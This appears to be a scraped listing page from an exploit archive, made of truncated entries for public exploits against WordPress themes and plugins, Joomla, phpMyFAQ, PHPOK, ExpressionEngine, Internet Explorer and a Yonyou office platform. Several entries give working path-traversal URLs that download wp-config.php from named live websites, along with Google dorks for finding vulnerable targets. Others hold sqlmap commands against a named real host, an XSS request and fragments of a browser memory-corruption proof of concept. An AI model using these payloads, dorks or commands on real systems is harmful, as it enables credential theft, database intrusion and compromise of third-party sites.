WordPress Markant Theme Arbitrary File Download Vulnerability

Exploit for php platform in category web applications Poc: http://localhost/wp-content/themes/markant/download.php?file=../../wp-config.php Demo: http://www.markant.org/wp-content/themes/markant/download.php?file=../../wp-config.php --------------------------------------- Greetz to : All Egy-Shel...

WordPress TheLoft Theme Arbitrary File Download Vulnerability

Exploit for php platform in category web applications Poc: http://localhost/wp-content/themes/TheLoft/download.php?file=../../../wp-config.php Demo: http://909lifefm.com/wp-content/themes/TheLoft/download.php?file=../../../wp-config.php --------------------------------------- Greetz to : All...

Wordpress shorttermbraces theme Arbitrary File Download Vulnerability

Exploit for php platform in category web applications POC : http://localhost/wp-content/themes/shorttermbraces/download.php?filename=../wp-config Demo : www.shorttermbraces.com/wp-content/themes/shorttermbraces/download.php?filename=../wp-config 0day.today 2018-03-13...

WordPress MichaelCanthony theme Arbitrary File Download Vulnerability

Exploit for php platform in category web applications Date: 2014-09-11 Google Dork : inurl:/wp-content/themes/MichaelCanthony/ Exploit Author: Mr.Doel Vendor Homepage: http://michaelcanthony.com Tested on: Windows 7 & Linux POC :...

PHPOK 最新版CSRF getshell

简要描述： 过滤不严格 详细说明： 漏洞细节： 漏洞一：存储型XSS 漏洞文件：framework/api/postcontrol.php94行） $array"title" = $this-get"title"; .... $this-model'list'-save$array,$tid; 这里是保存用户留言内容的部分操作。$array"title" 是获取的客户输入的主题 再来看获取过程中的过滤: （framework/init.php 第829行） //通过post或get取得数据，并格式化成自己需要的 function get$id,$type="safe",$ext=""...

WordPress Trinity Theme Arbitrary File Download

Exploit Title: Wordpress Trinity theme Arbitrary File Download Vulnerability Date: 9/10/2014 Google Dork : inurl:/wp-content/themes/trinity/lib Exploit Author: Mr.Doel Vendor Homepage: https://churchthemes.net/themes/trinity/ Tested on: Windows 7 POC :...

Joomla Spider Calendar 3.2.6 SQL Injection

!/usr/bin/env python Exploit Title : Joomla Spider Calendar = 3.2.6 SQL Injection Exploit Author : Claudio Viviani Vendor Homepage : http://web-dorado.com/ Software Link : http://extensions.joomla.org/extensions/calendars-a-events/events/events-calendars/22329 Dork Google:...

WordPress Like Dislike Counter 1.2.3 SQL Injection

Title : Wordpress Like Dislike Counter Plugin SQL Injection Vulnerability Risk : High+/Critical Exploit Author : XroGuE Google Dork : inurl:plugins/like-dislike-counter-for-posts-pages-and-comments/ajaxcounter.php AND plugins/pro-like-dislike-counter/ldc-ajax-counter.php Plugin Version : 1.2.3...

phpMyFAQ 2.8.X - Multiple Vulnerabilities

Latest phpMyFAQ software suffers on multiple CSRF and XSS vulnerabilities, uh. Title: phpMyFAQ 2.8.X - Multiple Vulnerabilities Vendor: phpmyfaq.de Date: 04.09.19 Version: = 2.8.12 Latest ATM Tested on: Apache 2.2 / PHP 5.4 / Linux Contact: smash at devilteam.pl 1 Persistent XSS Administrator is...

Wordpress Huge-IT Image Gallery 1.0.1 Authenticated SQL Injection

No description provided by source. Exploit Title : Wordpress Huge-IT Image Gallery 1.0.1 Authenticated SQL Injection Exploit Author : Claudio Viviani Vendor Homepage : http://huge-it.com/ Software Link : http://downloads.wordpress.org/plugin/gallery-images.zip Mirror Link :...

Internet Explorer MS14-029 Memory Corruption PoC

No description provided by source. !doctype html html head meta http-equiv="Cache-Control" content="no-cache"/ sc​ript func​tion stc var Then = new Date; Then.setTimeThen.getTime + 1000 3600 24 7 ; document.cookie = "Cookie1=d93kaj3Nja3; expires="+ Then.toGMTString; func​tion cid var swf = 0; try...

WordPress Huge IT Image Gallery 1.0.0 SQL Injection

Exploit Title : Wordpress Huge-IT Image Gallery 1.0.1 Authenticated SQL Injection Exploit Author : Claudio Viviani Vendor Homepage : http://huge-it.com/ Software Link : http://downloads.wordpress.org/plugin/gallery-images.zip Mirror Link :...

WordPress CuckooTap Theme & eShop Arbitrary File Download

Exploit for php platform in category web applications WordPress CuckooTap Theme & eShop Arbitrary File Download Risk: High CWE number: CWE-200 Author: Hugo Santiago Contact: email protected Date: 31/08/2014 Vendor Homepage:...

Mulitple WordPress Themes - admin-ajax.php?img Arbitrary File Download

Mulitple WordPress Themes - admin-ajax.php?img Arbitrary File Download WordPress CuckooTap Theme & eShop Arbitrary File Download Risk: High CWE number: CWE-200 Author: Hugo Santiago Contact: [email protected] Date: 31/08/2014 Vendor Homepage:...

Mulitple WordPress Themes - 'admin-ajax.php?img' Arbitrary File Download

WordPress CuckooTap Theme & eShop Arbitrary File Download Risk: High CWE number: CWE-200 Author: Hugo Santiago Contact: [email protected] Date: 31/08/2014 Vendor Homepage: http://themeforest.net/item/cuckootap-one-page-parallax-wp-theme-plus-eshop/3512405 Tested on: Windows 7 and Gnu/Linux...

ExpressionEngine: Stored Cross-Site Scripting Vulnerability in /admin.php?/cp/admin_system/general_configuration

Vulnerability: Stored XSS Persistent Severity: High Vulnerable Parameter: siteindex PoC: POST /exe/admin.php?/cp/adminsystem/generalconfiguration&S=98be920eacf52890b4b159431a7da8cf HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.9; rv:31.0 Gecko/20100101 Firefox/31.0...

HTML Help Workshop 1.4 - Buffer Overflow (SEH) (PoC)

HTML Help Workshop 1.4 - Buffer Overflow SEH PoC ---------------------------------------------------------------------------------------------------- Exploit Title: HTML Help Workshop - SEH Buffer Overflow Date: August 24 2014 Exploit Author: Moroccan Kingdom MKD Software Link:...

Microsoft Internet Explorer - Memory Corruption (PoC) (MS14-029)

Microsoft Internet Explorer - Memory Corruption PoC MS14-029 func​tion stc var Then = new Date; Then.setTimeThen.getTime + 1000 3600 24 7 ; document.cookie = "Cookie1=d93kaj3Nja3; expires="+ Then.toGMTString; func​tion cid var swf = 0; try swf = new ActiveXObject'ShockwaveFlash.ShockwaveFlash';...

Internet Explorer MS14-029 Memory Corruption PoC

Microsoft Internet Explorer memory corruption proof of concept exploit that leverages the vulnerability noted in MS14-029. func​tion stc var Then = new Date; Then.setTimeThen.getTime + 1000 3600 24 7 ; document.cookie = "Cookie1=d93kaj3Nja3; expires="+ Then.toGMTString; func​tion cid var swf = 0;...

用友FE办公平台通用SQL注入

简要描述： 用友办公平台通用SQL注入 详细说明： 漏洞url /sys/sortListUI.jsp?searchKeyvalue=1&lx=1 poc: sqlmap -u "http://oa.shunhengli.com:9090/sys/sortListUI.jsp?searchKeyvalue=1&lx=1" 漏洞证明： sqlmap -u "http://oa.shunhengli.com:9090/sys/sortListUI.jsp?searchKeyvalue=1&lx=1" --dbs...